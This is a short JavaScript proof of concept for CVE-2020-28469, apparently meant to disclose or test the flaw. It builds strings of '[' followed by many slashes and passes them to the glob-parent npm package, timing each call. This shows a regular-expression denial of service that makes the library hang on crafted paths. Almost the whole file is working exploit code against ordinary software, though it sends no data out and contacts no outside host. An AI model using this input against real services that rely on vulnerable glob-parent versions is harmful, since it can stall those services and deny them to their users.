CVE-2020-28469.js

var globParent = require('glob-parent');
function build_attack(n) {
	var ret = "["
	for (var i = 0; i < n; i++) {
		ret += "/"
	}

	return ret+"";
}

for(var i = 1; i <= 50000; i++) {
    if (i % 100 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        globParent('path/foo'+build_attack(i));

        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
  }
}